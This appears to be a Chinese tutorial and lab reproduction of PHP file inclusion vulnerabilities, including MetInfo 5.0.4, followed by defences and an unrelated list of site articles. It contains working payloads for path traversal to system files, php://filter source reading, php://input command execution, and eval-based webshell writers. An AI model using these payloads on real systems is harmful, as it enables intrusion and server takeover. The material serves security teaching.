文件包含漏洞及漏洞复现

文件包含漏洞

1. 文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP提供了四个文件包含的语句,四个语句之间略有不同。

语言区别
include()多次包含,多次执行;
如果包含失败,脚本产生警告,继续运行。
include_once()多次包含,一次执行;
如果包含失败,脚本产生警告,继续运行。
require()多次包含,多次执行;
如果包含失败,脚本产生错误,结束执行。
require_once()多次包含,一次执行;
如果包含失败,脚本产生错误,结束执行。

注意:

文件读取和文件包含的区别:

  • 在任意文件读取的时候,PHP代码没有执行;
  • 文件包含的时候PHP代码执行了。只要包含的文件中有php代码,包含的过程中就会无脑执行PHP代码。

1.1.1 相关配置

查看phpinfo信息

在phpstudy中的www文件下新建file_include文件夹,在file_include中新建include.php

<?php$fp = "../phpinfo.php";include($fp);
?>

image-20230831194948240

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off	# 通过远程方式打开文件
allow_url_include = On/Off	# 通过远程方式包含文件

查看phpinfo中的Core中

image-20230831195710388

为了方便实验将两个参数全部改为on

image-20230831195903477

1.2 动态包含

1.2.1 示例代码

// file-include.php
$fp = @$_GET['filepath'];
include $fp;
<?php//$fp = "../phpinfo.php";$fp = @$_GET['filepath'];include($fp);
?>

image-20230831201031151

1.2.2 本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件。

打开F12

?filepath=../phpinfo.php
?filepath=../ll.php

image-20230831201015887

image-20230831201135914

php中最严重的漏洞是文件包含;Java中最严重的漏洞是反序列化

1.2.3 远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件。

?filepath=http://192.168.16.136/phpinfo.php

image-20230831202044064

1.3 原理和特点

原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP代码,为图片木马提供出路

?filepath=a_yjh_info.jpg

漏洞形成原因总结:

  1. 开启了文件包含功能
  2. 可以动态包含
  3. 浏览器客户端用户可以控制文件路径:完全控制(约等于拿下系统),影响(路径跳转)

2. 文件包含攻防

2.1 利用方法

2.1.1 包含图片木马

菜刀直接链接。

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg

2.1.2 读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

  • 目标文件存在(已知目标文件路径);
  • 具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
封装协议 说明
file://访问本地文件系统
http://访问 HTTP(s) 网址
ftp://访问 FTP(s) URLs
php://访问各个输入/输出流(I/O streams)
zlib://压缩流
data://数据(RFC 2397)
glob://查找匹配的文件路径模式
phar://PHP 归档
ssh2://Secure Shell 2
rar://RAR
ogg://音频流
expect://处理交互式的流

2.1.3 读取PHP文件源码

利用php://fileter读取

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

2.1.4 执行PHP命令

  • 利用php://input 执行PHP 命令;
  • 远程文件包含开启。
POST /file-include/include.php?filepath=php://input HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582 Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache Content-Length: 18<?php phpinfo();?>
<?php
system('whoami');
?>

2.1.5 包含文件木马写shell

条件:

  • 确定文件包含漏洞存在;
  • 菜刀不能直接连接

写shell

<?php  fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?> <?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?

利用

http://10.4.7.130/file-include/shell.php

2.1.6 包含日志

Apache日志:

  • 访问日志
  • 错误日志

Nginx 日志:

  • 访问日志
  • 错误日志

SSH 日志

邮件日志

2.2 经典案例

  • metinfo_5.0.4_lfi

    • metinfo5.0.4漏洞分析
  • dvwa_lfi_high_getshell

2.2.1 环境搭建

image-20230831205616611

image-20230831205648590

image-20230831205727797

2.2.2 漏洞点

/about/index.php

传参:

?fmodule=7&module=

2.2.3 漏洞产生原因

文件包含语句:require_once

查看about下index.php文件内容

image-20230831211114848

输出fmodule和module

image-20230831211520790

module是在include/module.php下进行的初始化

控制fmodule的值

image-20230831211815336

image-20230831211909999

在include中的module中搜索 f m o d u l e ,当 fmodule,当 fmodule,当fmodule!=7对$module进行初始化,并且if判断没有else;也就是说当 f m o d u l e = 7 不会对 fmodule=7不会对 fmodule=7不会对module进行初始化。

image-20230831212844766

页面空白是因为index.php在第十行做包含的时候没有$module值

想要显现页面给$module赋值

image-20230831213333164

为$module赋其他的值,证明文件包含成功,文件包含的一大危害是文件读取

module=c:/windows\system32\drivers\etc\hosts

image-20230831213555983

2.2.4 深度利用

  1. 包含图片马使用蚁剑进行连接,在招贤纳士中的在线应聘中有图片上传

image-20230831214101967

上传图片木马

image-20230831214915686

image-20230831215220928

  1. 访问上传文件,并使用蚁剑进行连接

image-20230831215438201

连接失败,因为图片中的一句话木马无法执行

image-20230831215704954

  1. 使用文件包含,访问上传的图片
http://192.168.16.136/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/11.png

image-20230831220005651

使用蚁剑进行连接

image-20230831220053334

image-20230831220434173

2.2.5 读取敏感文件

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

image-20230831220625711

image-20230831220651470

image-20230831220719782

2.2.6 读取php源码

?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

image-20230831220909426

使用bp进行解密

image-20230831221111165

2.2.7 执行php命令

使用bp抓包,发送重发器将数据包改为post类型

image-20230831221802726

image-20230831222221717

image-20230831222241968

修改php语句就可以执行其他语句了

image-20230831223248016

2.3 文件包含防御

  • 尽量少的使用动态包含;

  • 严格过滤被包含文件的路径;

  • 将参数allow_url_include 设置为Off;

  • 使用参数open_basedir 限定文件访问范围。

open_basedir = c:\phpstudy_2016\www\

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/119862.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AWS】实操-保护 Amazon S3 VPC 终端节点通信

文章目录 实验概览目标实验环境任务 1&#xff1a;探索并启动实验环境任务 1.1&#xff1a;探索 Amazon VPC 资源任务 1.2&#xff1a;探索 Amazon EC2 资源任务 1.3&#xff1a;创建 Amazon VPC 终端节点任务 1.4&#xff1a;连接私有 EC2 实例任务 1.5&#xff1a;探索 Amazo…

Nginx从入门到精通(超级详细)

文章目录 一、什么是Nginx1、正向代理2、反向代理3、负载均衡4、动静分离 二、centos7环境安装Nginx1、安装依赖2、下载安装包3、安装4、启动5、停止 三、Nginx核心基础知识1、nginx核心目录2、常用命令3、默认配置文件讲解4、Nginx虚拟主机-搭建前端静态服务器5、使用nignx搭建…

【设计模式】Head First 设计模式——桥模式 C++实现

设计模式最大的作用就是在变化和稳定中间寻找隔离点&#xff0c;然后分离它们&#xff0c;从而管理变化。将变化像小兔子一样关到笼子里&#xff0c;让它在笼子里随便跳&#xff0c;而不至于跳出来把你整个房间给污染掉。 设计思想 桥模式。将抽象部分(业务功能)与实现部分(平…

13.108.Spark 优化、Spark优化与hive的区别、SparkSQL启动参数调优、四川任务优化实践:执行效率提升50%以上

13.108.Spark 优化 1.1.25.Spark优化与hive的区别 1.1.26.SparkSQL启动参数调优 1.1.27.四川任务优化实践&#xff1a;执行效率提升50%以上 13.108.Spark 优化&#xff1a; 1.1.25.Spark优化与hive的区别 先理解spark与mapreduce的本质区别&#xff0c;算子之间&#xff08;…

机器学习和数据挖掘02-Gaussian Naive Bayes

概念 贝叶斯定理&#xff1a; 贝叶斯定理是概率中的基本定理&#xff0c;描述了如何根据更多证据或信息更新假设的概率。在分类的上下文中&#xff0c;它用于计算给定特征集的类别的后验概率。 特征独立性假设&#xff1a; 高斯朴素贝叶斯中的“朴素”假设是&#xff0c;给定…

《Python魔法大冒险》004第一个魔法程序

在图书馆的一个安静的角落,魔法师和小鱼坐在一张巨大的桌子前。桌子上摆放着那台神秘的笔记本电脑。 魔法师: 小鱼,你已经学会了如何安装魔法解释器和代码编辑器。是时候开始编写你的第一个Python魔法程序了! 小鱼:(兴奋地两眼放光)我准备好了! 魔法师: 不用担心,…

OPPO手机便签数据搬家到华为mate60Pro手机怎么操作

今年8月底&#xff0c;华为上线了本年度的旗舰手机——华为mate60Pro。有不少网友都在抢购这台手机&#xff0c;不过在拿到新手机之后&#xff0c;还有一件重要的事情要做&#xff0c;这就是把旧手机中比较重要的数据&#xff0c;例如图片、短信、通讯录、联系人、便签等数据搬…

【STM32】IIC的初步使用

IIC简介 物理层 连接多个devices 它是一个支持设备的总线。“总线”指多个设备共用的信号线。在一个 I2C 通讯总线中&#xff0c;可连接多个 I2C 通讯设备&#xff0c;支持多个通讯主机及多个通讯从机。 两根线 一个 I2C 总线只使用两条总线线路&#xff0c;一条双向串行数…

说说Omega架构

分析&回答 Omega架构我们暂且称之为混合数仓。 什么是ECS设计模式 在谈我们的解法的时候&#xff0c;必须要先提ECS的设计模式。 简单的说&#xff0c;Entity、Component、System分别代表了三类模型。 实体(Entity)&#xff1a;实体是一个普通的对象。通常&#xff0c…

pandas数据分析之数据绘图

一图胜千言&#xff0c;将信息可视化&#xff08;绘图&#xff09;是数据分析中最重要的工作之一。它除了让人们对数据更加直观以外&#xff0c;还可以帮助我们找出异常值、必要的数据转换、得出有关模型的想法等等。pandas 在数据分析、数据可视化方面有着较为广泛的应用。本文…

python中super()用法

super关键字的用法 一、概述二、作用三、语法四、使用示例1.通过super() 来调用父类的__init__ 构造方法&#xff1a;2.通过supper() 来调用与子类同名的父类方法2.1 单继承2.2 多继承 一、概述 super() 是python 中调用父类&#xff08;超类&#xff09;的一种方法&#xff0…

iPhone 隔空投送使用指南:详细教程

本文介绍了如何在iPhone上使用隔空投送,包括如何在iOS 11到iOS 14的iPhone上启用它、发送文件以及接受或拒绝AirDrop发送给你的文件。对于iOS 7以上的旧款iPhone,提供了另一种方法。 如何打开隔空投送 你可以通过以下两种方式之一启动隔空投送功能:在“设置”应用程序或控…

C#安装“Windows 窗体应用(.NET Framework)”

目录 背景: 第一步: 第二步: 第三步&#xff1a; 总结: 背景: 如下图所示:在Visual Studio Installer创建新项目的时候&#xff0c;想要添加windows窗体应用程序&#xff0c;发现里面并没有找到Windows窗体应用(.NET Framework)模板&#xff0c;快捷搜索也没有发现&#…

解决小程序中textarea ios端样式不兼容的方法

问题描述 &#xff0c;今天在调试小程序的时候有个需求需要textarea与标题对其&#xff0c;微信开发工具和安卓系统都没有问题 但是ios系统textarea存在内边距。出现不兼容的情况 解决方法&#xff1a;我们看官网的textarea的属性 textarea | uni-app官网 disable-default-p…

路径规划 | 图解Lazy Theta*算法(附ROS C++/Python/Matlab仿真)

目录 0 专栏介绍1 Theta*算法局限性2 Lazy Theta*算法原理3 Theta* VS. Lazy Theta*4 仿真实现4.1 ROS C实现4.2 Python实现4.3 Matlab实现 0 专栏介绍 &#x1f525;附C/Python/Matlab全套代码&#x1f525;课程设计、毕业设计、创新竞赛必备&#xff01;详细介绍全局规划(图…

计算机竞赛 基于深度学习的人脸专注度检测计算系统 - opencv python cnn

文章目录 1 前言2 相关技术2.1CNN简介2.2 人脸识别算法2.3专注检测原理2.4 OpenCV 3 功能介绍3.1人脸录入功能3.2 人脸识别3.3 人脸专注度检测3.4 识别记录 4 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习的人脸专注度…

苹果Mac系统如何优化流畅的运行?提高运行速度

Mac系统的稳定性和流畅性一直备受大家称赞&#xff0c;这也是大多数人选择Mac的原因&#xff0c;尽管如此&#xff0c;我们仍不时地对Mac进行优化、调整&#xff0c;以使其比以前更快、更流畅地运行。以下是小编分享给各位的Mac优化方法&#xff0c;记得保存哦~ 一、释放被过度…

Java 中数据结构HashSet的用法

Java HashSet HashSet 基于 HashMap 来实现的&#xff0c;是一个不允许有重复元素的集合。 HashSet 允许有 null 值。 HashSet 是无序的&#xff0c;即不会记录插入的顺序。 HashSet 不是线程安全的&#xff0c; 如果多个线程尝试同时修改 HashSet&#xff0c;则最终结果是…

React原理 - React Reconciliation-上

目录 扩展学习资料 React Reconciliation Stack Reconciler【15版本、栈协调】 Stack Reconciler-事务性 事务性带来的弊端&#xff1a; 扩展学习资料 名称 链接 备注 官方文档 Reconciliation – React 英文 stack reconciler Implementation Notes – React 英文…

spark支持深度学习批量推理

背景 在数据量较大的业务场景中&#xff0c;spark在数据处理、传统机器学习训练、 深度学习相关业务&#xff0c;能取得较明显的效率提升。 本篇围绕spark大数据背景下的推理&#xff0c;介绍一些优雅的使用方式。 spark适用场景 大数据量自定义方法处理、类sql处理传统机器…